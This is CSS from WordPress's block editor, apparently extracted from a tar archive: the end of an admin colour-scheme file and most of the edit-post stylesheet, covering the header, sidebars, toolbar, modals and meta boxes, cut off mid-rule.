(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/edit-post/style.css000064400000150407151202620300012057 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * These are default block editor widths in case the theme doesn't provide them. */ :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { :root { --wp-admin-border-width-focus: 1.5px; } } .components-panel__header.interface-complementary-area-header__small { background: #fff; padding-right: 4px; } .components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; width: 100%; } @media (min-width: 782px) { .components-panel__header.interface-complementary-area-header__small { display: none; } } .interface-complementary-area-header { background: #fff; padding-right: 4px; } .interface-complementary-area-header .components-button.has-icon { display: none; margin-left: auto; } .interface-complementary-area-header .components-button.has-icon ~ .components-button { margin-left: 0; } @media (min-width: 782px) { .interface-complementary-area-header .components-button.has-icon { display: flex; } } .interface-complementary-area { background: #fff; color: #1e1e1e; } @media (min-width: 600px) { .interface-complementary-area { -webkit-overflow-scrolling: touch; } } @media (min-width: 782px) { .interface-complementary-area { width: 280px; } } .interface-complementary-area .components-panel { border: none; } .interface-complementary-area .components-panel__header { position: -webkit-sticky; position: sticky; top: 0; z-index: 1; } .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs { top: 48px; } @media (min-width: 782px) { .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs { top: 0; } } .interface-complementary-area p { margin-top: 0; } .interface-complementary-area h2, .interface-complementary-area h3 { font-size: 13px; color: #1e1e1e; margin-bottom: 1.5em; } .interface-complementary-area hr { border-top: none; border-bottom: 1px solid #f0f0f0; margin: 1.5em 0; } .interface-complementary-area div.components-toolbar-group, .interface-complementary-area div.components-toolbar { box-shadow: none; margin-bottom: 1.5em; } .interface-complementary-area div.components-toolbar-group:last-child, .interface-complementary-area div.components-toolbar:last-child { margin-bottom: 0; } .interface-complementary-area .block-editor-skip-to-selected-block:focus { top: auto; right: 10px; bottom: 10px; left: auto; } @media (min-width: 782px) { body.js.is-fullscreen-mode { margin-top: -32px; height: calc(100% + 32px); } body.js.is-fullscreen-mode #adminmenumain, body.js.is-fullscreen-mode #wpadminbar { display: none; } body.js.is-fullscreen-mode #wpcontent, body.js.is-fullscreen-mode #wpfooter { margin-left: 0; } } html.interface-interface-skeleton__html-container { position: fixed; width: 100%; } @media (min-width: 782px) { html.interface-interface-skeleton__html-container { position: initial; width: initial; } } .interface-interface-skeleton { display: flex; flex-direction: row; height: auto; max-height: 100%; position: fixed; top: 46px; left: 0; right: 0; bottom: 0; } @media (min-width: 783px) { .interface-interface-skeleton { top: 32px; } .is-fullscreen-mode .interface-interface-skeleton { top: 0; } } .interface-interface-skeleton__editor { display: flex; flex-direction: column; flex: 0 1 100%; overflow: hidden; } .interface-interface-skeleton { /* Set left position when auto-fold is not on the body element. */ left: 0; } @media (min-width: 783px) { .interface-interface-skeleton { left: 160px; } } .auto-fold .interface-interface-skeleton { /* Auto fold is when on smaller breakpoints, nav menu auto collapses. */ } @media (min-width: 783px) { .auto-fold .interface-interface-skeleton { left: 36px; } } @media (min-width: 961px) { .auto-fold .interface-interface-skeleton { left: 160px; } } /* Sidebar manually collapsed. */ .folded .interface-interface-skeleton { left: 0; } @media (min-width: 783px) { .folded .interface-interface-skeleton { left: 36px; } } /* Mobile menu opened. */ @media (max-width: 783px) { .auto-fold .wp-responsive-open .interface-interface-skeleton { left: 190px; } } /* In small screens with responsive menu expanded there is small white space. */ @media (max-width: 600px) { .auto-fold .wp-responsive-open .interface-interface-skeleton { margin-left: -18px; } } body.is-fullscreen-mode .interface-interface-skeleton { left: 0 !important; } .interface-interface-skeleton__body { flex-grow: 1; display: flex; overflow: auto; overscroll-behavior-y: none; } @media (min-width: 782px) { .has-footer .interface-interface-skeleton__body { padding-bottom: 25px; } } .interface-interface-skeleton__content { flex-grow: 1; display: flex; flex-direction: column; overflow: auto; } .interface-interface-skeleton__secondary-sidebar, .interface-interface-skeleton__sidebar { display: block; flex-shrink: 0; position: absolute; z-index: 100000; top: 0; right: 0; bottom: 0; left: 0; background: #fff; color: #1e1e1e; } @media (min-width: 782px) { .interface-interface-skeleton__secondary-sidebar, .interface-interface-skeleton__sidebar { position: relative !important; z-index: 90; width: auto; } } .interface-interface-skeleton__sidebar { overflow: auto; } @media (min-width: 782px) { .interface-interface-skeleton__sidebar { border-left: 1px solid #e0e0e0; } } @media (min-width: 782px) { .interface-interface-skeleton__secondary-sidebar { border-right: 1px solid #e0e0e0; } } .interface-interface-skeleton__header { flex-shrink: 0; height: auto; border-bottom: 1px solid #e0e0e0; z-index: 30; color: #1e1e1e; position: -webkit-sticky; position: sticky; top: 0; } @media (min-width: 600px) { .interface-interface-skeleton__header { position: initial; top: 0; } } .interface-interface-skeleton__footer { height: auto; flex-shrink: 0; border-top: 1px solid #e0e0e0; color: #1e1e1e; position: absolute; bottom: 0; left: 0; width: 100%; background-color: #fff; z-index: 90; display: none; } @media (min-width: 782px) { .interface-interface-skeleton__footer { display: flex; } } .interface-interface-skeleton__footer .block-editor-block-breadcrumb { z-index: 30; display: flex; background: #fff; height: 24px; align-items: center; font-size: 13px; padding: 0 18px; } .interface-interface-skeleton__actions { z-index: 100000; position: fixed !important; top: -9999em; bottom: auto; left: auto; right: 0; width: 280px; color: #1e1e1e; } .interface-interface-skeleton__actions:focus { top: auto; bottom: 0; } .interface-pinned-items { display: flex; } .interface-pinned-items .components-button:not(:first-child) { display: none; } @media (min-width: 600px) { .interface-pinned-items .components-button:not(:first-child) { display: flex; } } .interface-pinned-items .components-button { margin-left: 4px; } .interface-pinned-items .components-button svg { max-width: 24px; max-height: 24px; } .edit-post-header { height: 60px; background: #fff; display: flex; flex-wrap: wrap; align-items: center; max-width: 100vw; } @media (min-width: 280px) { .edit-post-header { flex-wrap: nowrap; } } .edit-post-header > .edit-post-header__settings { order: 1; } @supports ((position: -webkit-sticky) or (position: sticky)) { .edit-post-header > .edit-post-header__settings { order: initial; } } .edit-post-header__toolbar { display: flex; flex-grow: 1; } .edit-post-header__toolbar .table-of-contents { display: none; } @media (min-width: 600px) { .edit-post-header__toolbar .table-of-contents { display: block; } } .edit-post-header__settings { display: inline-flex; align-items: center; flex-wrap: wrap; padding-right: 4px; /** * Buttons in the Toolbar */ } @media (min-width: 600px) { .edit-post-header__settings { padding-right: 16px; } } .edit-post-header__settings .editor-post-saved-state, .edit-post-header__settings .components-button.components-button { margin-right: 4px; } @media (min-width: 600px) { .edit-post-header__settings .editor-post-saved-state, .edit-post-header__settings .components-button.components-button { margin-right: 12px; } } .edit-post-header__settings .editor-post-saved-state, .edit-post-header__settings .components-button.is-tertiary { padding: 0 6px; } .edit-post-header__settings .edit-post-more-menu .components-button, .edit-post-header__settings .interface-pinned-items .components-button { margin-right: 0; } .edit-post-header-preview__grouping-external { display: flex; position: relative; padding-bottom: 0; } .edit-post-header-preview__button-external { padding-left: 8px; margin-right: auto; width: 100%; display: flex; justify-content: flex-start; } .edit-post-header-preview__button-external svg { margin-left: auto; } .edit-post-post-preview-dropdown .components-popover__content > div { padding-bottom: 0; } .show-icon-labels.interface-pinned-items .components-button.has-icon, .show-icon-labels .edit-post-header .components-button.has-icon, .edit-post-header__dropdown .components-button.has-icon { width: auto; } .show-icon-labels.interface-pinned-items .components-button.has-icon svg, .show-icon-labels .edit-post-header .components-button.has-icon svg, .edit-post-header__dropdown .components-button.has-icon svg { display: none; } .show-icon-labels.interface-pinned-items .components-button.has-icon::after, .show-icon-labels .edit-post-header .components-button.has-icon::after, .edit-post-header__dropdown .components-button.has-icon::after { content: attr(aria-label); } .show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true], .show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true], .edit-post-header__dropdown .components-button.has-icon[aria-disabled=true] { background-color: transparent; } .show-icon-labels.interface-pinned-items .is-tertiary:active, .show-icon-labels .edit-post-header .is-tertiary:active, .edit-post-header__dropdown .is-tertiary:active { box-shadow: 0 0 0 1.5px #007cba; box-shadow: 0 0 0 1.5px var(--wp-admin-theme-color); background-color: transparent; } .show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg, .show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg, .show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg, .show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg, .edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg, .edit-post-header__dropdown .components-button.has-icon.button-toggle svg { display: block; } .show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon::after, .show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle::after, .show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon::after, .show-icon-labels .edit-post-header .components-button.has-icon.button-toggle::after, .edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon::after, .edit-post-header__dropdown .components-button.has-icon.button-toggle::after { content: none; } .show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon, .show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon, .edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon { width: 60px; } .show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon, .show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon, .edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon { display: block; } .show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels.interface-pinned-items .interface-pinned-items .components-button, .show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels .edit-post-header .interface-pinned-items .components-button, .edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .edit-post-header__dropdown .interface-pinned-items .components-button { padding-left: 8px; padding-right: 8px; } @media (min-width: 600px) { .show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels.interface-pinned-items .interface-pinned-items .components-button, .show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .show-icon-labels .edit-post-header .interface-pinned-items .components-button, .edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle, .edit-post-header__dropdown .interface-pinned-items .components-button { padding-left: 12px; padding-right: 12px; } } .show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle, .show-icon-labels .edit-post-header .components-dropdown-menu__toggle, .edit-post-header__dropdown .components-dropdown-menu__toggle { margin-left: 8px; padding-left: 8px; padding-right: 8px; } @media (min-width: 600px) { .show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle, .show-icon-labels .edit-post-header .components-dropdown-menu__toggle, .edit-post-header__dropdown .components-dropdown-menu__toggle { margin-left: 12px; padding-left: 12px; padding-right: 12px; } } .show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle::after, .show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle::after, .edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle::after { content: none; } .show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft::after, .show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft::after, .edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft::after { content: none; } @media (min-width: 600px) { .show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft::after, .show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft::after, .edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft::after { content: attr(aria-label); } } .edit-post-header__dropdown .components-menu-item__button.components-menu-item__button, .edit-post-header__dropdown .components-button.editor-history__undo, .edit-post-header__dropdown .components-button.editor-history__redo, .edit-post-header__dropdown .table-of-contents .components-button, .edit-post-header__dropdown .components-button.block-editor-block-navigation { margin: 0; padding: 6px 6px 6px 40px; width: 14.625rem; text-align: left; justify-content: flex-start; } .show-icon-labels.interface-pinned-items { padding: 6px 12px 12px; margin-top: 0; margin-bottom: 0; margin-left: -12px; margin-right: -12px; border-bottom: 1px solid #ccc; display: block; } .show-icon-labels.interface-pinned-items > .components-button.has-icon { margin: 0; padding: 6px 6px 6px 8px; width: 14.625rem; justify-content: flex-start; } .show-icon-labels.interface-pinned-items > .components-button.has-icon[aria-expanded=true] svg { display: block; max-width: 24px; } .show-icon-labels.interface-pinned-items > .components-button.has-icon[aria-expanded=false] { padding-left: 40px; } .show-icon-labels.interface-pinned-items > .components-button.has-icon svg { margin-right: 8px; } .edit-post-fullscreen-mode-close.has-icon { display: none; } @media (min-width: 782px) { .edit-post-fullscreen-mode-close.has-icon { display: flex; align-items: center; -ms-grid-row-align: stretch; align-self: stretch; border: none; background: #23282e; color: #fff; border-radius: 0; height: 60px; width: 60px; } .edit-post-fullscreen-mode-close.has-icon:hover { background: #32373d; } .edit-post-fullscreen-mode-close.has-icon:active { color: #fff; } .edit-post-fullscreen-mode-close.has-icon:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 3px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 3px #fff; } } .edit-post-fullscreen-mode-close_site-icon { width: 36px; } .edit-post-header-toolbar { display: inline-flex; flex-grow: 1; align-items: center; border: none; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button { display: none; } @media (min-width: 600px) { .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button { display: inline-flex; } } .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle { display: inline-flex; } .edit-post-header-toolbar .block-editor-block-navigation { display: none; } @media (min-width: 600px) { .edit-post-header-toolbar .block-editor-block-navigation { display: flex; } } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon, .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon { height: 36px; min-width: 36px; padding: 6px; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon.is-pressed, .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon.is-pressed { background: #1e1e1e; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon:focus:not(:disabled), .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon:focus:not(:disabled) { box-shadow: 0 0 0 2px #007cba, inset 0 0 0 1px #fff; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff; outline: 1px solid transparent; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-button.has-icon::before, .edit-post-header-toolbar .edit-post-header-toolbar__left > .components-dropdown > .components-button.has-icon::before { display: none; } @media (min-width: 600px) { .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-button, .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-dropdown > [aria-expanded=false] { transition: opacity 0.1s linear; } } @media (min-width: 600px) and (prefers-reduced-motion: reduce) { .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-button, .edit-post-header.has-reduced-ui .edit-post-header-toolbar__left > * + .components-dropdown > [aria-expanded=false] { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left > * + .components-button, .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left > * + .components-dropdown > [aria-expanded=false] { opacity: 0; } } .edit-post-header-toolbar__left { display: inline-flex; align-items: center; padding-left: 8px; } @media (min-width: 600px) { .edit-post-header-toolbar__left { padding-left: 24px; } } @media (min-width: 1280px) { .edit-post-header-toolbar__left { padding-right: 8px; } } .edit-post-header-toolbar__block-toolbar { position: absolute; top: 61px; left: 0; right: 0; background: #fff; border-bottom: 1px solid #ddd; } .edit-post-header-toolbar__block-toolbar:empty { display: none; } .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group, .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar { border-top: none; border-bottom: none; } .is-sidebar-opened .edit-post-header-toolbar__block-toolbar { display: none; } .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar__block-parent-selector-wrapper { display: none; } @media (min-width: 782px) { .is-sidebar-opened .edit-post-header-toolbar__block-toolbar { display: block; right: 280px; } } @media (min-width: 1280px) { .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) { position: static; left: auto; right: auto; background: none; border-bottom: none; } .is-sidebar-opened .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) { right: auto; } .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar { border-left: 1px solid #ddd; } .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar-group, .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar { height: 60px; padding: 6px 0; } } .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle.has-icon { margin-right: 8px; min-width: 32px; width: 32px; height: 32px; padding: 0; } .show-icon-labels .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle.has-icon { height: 36px; } .edit-post-header-toolbar .edit-post-header-toolbar__left > .edit-post-header-toolbar__inserter-toggle.has-text.has-icon { width: auto; padding: 0 8px; } .show-icon-labels .edit-post-header-toolbar__left > * + * { margin-left: 8px; } @media (min-width: 1280px) { .show-icon-labels .edit-post-header-toolbar__block-toolbar { position: absolute; top: 61px; left: 0; right: 0; border-bottom: 1px solid #ddd; padding: 0; background-color: #fff; } .show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group, .show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar { height: auto; padding: 0; } } .edit-post-more-menu { margin-left: -4px; } .edit-post-more-menu .components-button { width: auto; padding: 0 2px; } @media (min-width: 600px) { .edit-post-more-menu { margin-left: 0; } .edit-post-more-menu .components-button { padding: 0 4px; } } .edit-post-more-menu__content .components-popover__content { min-width: 280px; } @media (min-width: 480px) { .edit-post-more-menu__content .components-popover__content { width: auto; max-width: 480px; } } .edit-post-more-menu__content .components-popover__content .components-dropdown-menu__menu { padding: 0; } .components-popover.edit-post-more-menu__content { z-index: 99998; } .edit-post-template-title { display: inline-flex; flex-grow: 1; justify-content: center; } .edit-post-keyboard-shortcut-help-modal__section { margin: 0 0 2rem 0; } .edit-post-keyboard-shortcut-help-modal__main-shortcuts .edit-post-keyboard-shortcut-help-modal__shortcut-list { margin-top: -25px; } .edit-post-keyboard-shortcut-help-modal__section-title { font-size: 0.9rem; font-weight: 600; } .edit-post-keyboard-shortcut-help-modal__shortcut { display: flex; align-items: baseline; padding: 0.6rem 0; border-top: 1px solid #ddd; margin-bottom: 0; } .edit-post-keyboard-shortcut-help-modal__shortcut:last-child { border-bottom: 1px solid #ddd; } .edit-post-keyboard-shortcut-help-modal__shortcut:empty { display: none; } .edit-post-keyboard-shortcut-help-modal__shortcut-term { font-weight: 600; margin: 0 0 0 1rem; text-align: right; } .edit-post-keyboard-shortcut-help-modal__shortcut-description { flex: 1; margin: 0; flex-basis: auto; } .edit-post-keyboard-shortcut-help-modal__shortcut-key-combination { display: block; background: none; margin: 0; padding: 0; } .edit-post-keyboard-shortcut-help-modal__shortcut-key-combination + .edit-post-keyboard-shortcut-help-modal__shortcut-key-combination { margin-top: 10px; } .edit-post-keyboard-shortcut-help-modal__shortcut-key { padding: 0.25rem 0.5rem; border-radius: 8%; margin: 0 0.2rem 0 0.2rem; } .edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child { margin: 0 0 0 0.2rem; } .edit-post-layout__metaboxes { flex-shrink: 0; } .edit-post-layout__metaboxes:not(:empty) { border-top: 1px solid #ddd; padding: 10px 0 10px; clear: both; } .edit-post-layout__metaboxes:not(:empty) .edit-post-meta-boxes-area { margin: auto 20px; } .edit-post-layout .components-editor-notices__snackbar { position: fixed; right: 0; bottom: 40px; padding-left: 16px; padding-right: 16px; } .edit-post-layout .components-editor-notices__snackbar { /* Set left position when auto-fold is not on the body element. */ left: 0; } @media (min-width: 783px) { .edit-post-layout .components-editor-notices__snackbar { left: 160px; } } .auto-fold .edit-post-layout .components-editor-notices__snackbar { /* Auto fold is when on smaller breakpoints, nav menu auto collapses. */ } @media (min-width: 783px) { .auto-fold .edit-post-layout .components-editor-notices__snackbar { left: 36px; } } @media (min-width: 961px) { .auto-fold .edit-post-layout .components-editor-notices__snackbar { left: 160px; } } /* Sidebar manually collapsed. */ .folded .edit-post-layout .components-editor-notices__snackbar { left: 0; } @media (min-width: 783px) { .folded .edit-post-layout .components-editor-notices__snackbar { left: 36px; } } /* Mobile menu opened. */ @media (max-width: 783px) { .auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar { left: 190px; } } /* In small screens with responsive menu expanded there is small white space. */ @media (max-width: 600px) { .auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar { margin-left: -18px; } } body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar { left: 0 !important; } .edit-post-layout .editor-post-publish-panel { position: fixed; z-index: 100001; top: 46px; bottom: 0; right: 0; left: 0; overflow: auto; } @media (min-width: 782px) { .edit-post-layout .editor-post-publish-panel { z-index: 99998; top: 32px; left: auto; width: 281px; border-left: 1px solid #ddd; transform: translateX(100%); animation: edit-post-post-publish-panel__slide-in-animation 0.1s forwards; } } @media (min-width: 782px) and (prefers-reduced-motion: reduce) { .edit-post-layout .editor-post-publish-panel { animation-duration: 1ms; } } @media (min-width: 782px) { body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel { top: 0; } } @media (min-width: 782px) { [role=region]:focus .edit-post-layout .editor-post-publish-panel { transform: translateX(0%); } } @keyframes edit-post-post-publish-panel__slide-in-animation { 100% { transform: translateX(0%); } } .edit-post-layout .editor-post-publish-panel__header-publish-button { justify-content: center; } .edit-post-layout__toggle-publish-panel, .edit-post-layout__toogle-sidebar-panel, .edit-post-layout__toggle-entities-saved-states-panel { z-index: 100000; position: fixed !important; top: -9999em; bottom: auto; left: auto; right: 0; width: 280px; background-color: #fff; border: 1px dotted #ddd; height: auto !important; padding: 24px; display: flex; justify-content: center; } .interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel, .interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel, .interface-interface-skeleton__actions:focus .edit-post-layout__toogle-sidebar-panel, .interface-interface-skeleton__actions:focus-within .edit-post-layout__toogle-sidebar-panel, .interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel, .interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel { top: auto; bottom: 0; } .edit-post-layout .interface-interface-skeleton__content { background-color: #ccc; } .edit-post-layout__inserter-panel { height: 100%; display: flex; flex-direction: column; } .edit-post-layout__inserter-panel-header { padding-top: 8px; padding-right: 8px; display: flex; justify-content: flex-end; } @media (min-width: 782px) { .edit-post-layout__inserter-panel-header { display: none; } } .edit-post-layout__inserter-panel-content { height: calc(100% - 36px - 8px); } @media (min-width: 782px) { .edit-post-layout__inserter-panel-content { height: 100%; } } @media (min-width: 600px) { .edit-post-manage-blocks-modal { height: calc(100% - 60px - 60px); } } .edit-post-manage-blocks-modal .components-modal__content { padding-bottom: 0; display: flex; flex-direction: column; } .edit-post-manage-blocks-modal .components-modal__header { flex-shrink: 0; margin-bottom: 0; } .edit-post-manage-blocks-modal__content { display: flex; flex-direction: column; flex: 0 1 100%; min-height: 0; } .edit-post-manage-blocks-modal__no-results { font-style: italic; padding: 24px 0; text-align: center; } .edit-post-manage-blocks-modal__search { margin: 16px 0; } .edit-post-manage-blocks-modal__search .components-base-control__field { margin-bottom: 0; } .edit-post-manage-blocks-modal__search .components-base-control__label { margin-top: -4px; } .edit-post-manage-blocks-modal__search input[type=search].components-text-control__input { padding: 8px; border-radius: 2px; } .edit-post-manage-blocks-modal__disabled-blocks-count { border-top: 1px solid #ddd; margin-left: -24px; margin-right: -24px; padding-top: 0.6rem; padding-bottom: 0.6rem; padding-left: 24px; padding-right: 24px; background-color: #f0f0f0; } .edit-post-manage-blocks-modal__category { margin: 0 0 2rem 0; } .edit-post-manage-blocks-modal__category-title { position: -webkit-sticky; position: sticky; top: 0; padding: 16px 0; background-color: #fff; z-index: 1; } .edit-post-manage-blocks-modal__category-title .components-base-control__field { margin-bottom: 0; } .edit-post-manage-blocks-modal__category-title .components-checkbox-control__label { font-size: 0.9rem; font-weight: 600; } .edit-post-manage-blocks-modal__show-all { margin-right: 8px; } .edit-post-manage-blocks-modal__checklist { margin-top: 0; } .edit-post-manage-blocks-modal__checklist-item { margin-bottom: 0; padding-left: 16px; border-top: 1px solid #ddd; } .edit-post-manage-blocks-modal__checklist-item:last-child { border-bottom: 1px solid #ddd; } .edit-post-manage-blocks-modal__checklist-item .components-base-control__field { align-items: center; display: flex; margin: 0; } .components-modal__content .edit-post-manage-blocks-modal__checklist-item.components-checkbox-control__input-container { margin: 0 8px; } .edit-post-manage-blocks-modal__checklist-item .components-checkbox-control__label { display: flex; align-items: center; justify-content: space-between; flex-grow: 1; padding: 0.6rem 0 0.6rem 10px; } .edit-post-manage-blocks-modal__checklist-item .block-editor-block-icon { margin-right: 10px; fill: #1e1e1e; } .edit-post-manage-blocks-modal__results { height: 100%; overflow: auto; margin-left: -24px; margin-right: -24px; padding-left: 24px; padding-right: 24px; border-top: 1px solid #ddd; } .edit-post-meta-boxes-area { position: relative; /** * The wordpress default for most meta-box elements is content-box. Some * elements such as textarea and input are set to border-box in forms.css. * These elements therefore specifically set back to border-box here, while * other elements (such as .button) are unaffected by Gutenberg's style * because of their higher specificity. */ /* Match width and positioning of the meta boxes. Override default styles. */ /* Override Default meta box stylings */ } .edit-post-meta-boxes-area__container, .edit-post-meta-boxes-area .inside { box-sizing: content-box; } .edit-post-meta-boxes-area textarea, .edit-post-meta-boxes-area input { box-sizing: border-box; } .edit-post-meta-boxes-area #poststuff { margin: 0 auto; padding-top: 0; min-width: auto; } .edit-post-meta-boxes-area #poststuff h3.hndle, .edit-post-meta-boxes-area #poststuff .stuffbox > h3, .edit-post-meta-boxes-area #poststuff h2.hndle { /* WordPress selectors yolo */ box-sizing: border-box; color: inherit; font-weight: 600; outline: none; padding: 15px; position: relative; width: 100%; } .edit-post-meta-boxes-area .postbox { border: 0; color: inherit; margin-bottom: 0; } .edit-post-meta-boxes-area .postbox > .inside { border-bottom: 1px solid #ddd; color: inherit; padding: 0 14px 14px; margin: 0; } .edit-post-meta-boxes-area .postbox .handlediv { height: 44px; width: 44px; } .edit-post-meta-boxes-area.is-loading::before { position: absolute; top: 0; left: 0; right: 0; bottom: 0; content: ""; background: transparent; z-index: 1; } .edit-post-meta-boxes-area .components-spinner { position: absolute; top: 10px; right: 20px; z-index: 5; } .edit-post-meta-boxes-area .is-hidden { display: none; } .edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox] { border: 1px solid #757575; } .edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked { background: #fff; border-color: #757575; } .edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]::before { margin: -3px -4px; } .edit-post-meta-boxes-area__clear { clear: both; } .edit-post-preferences-modal { min-width: 360px; width: 100%; } @media (min-width: 782px) { .edit-post-preferences-modal { width: auto; } } @media (min-width: 600px) { .edit-post-preferences-modal { height: calc(100% - 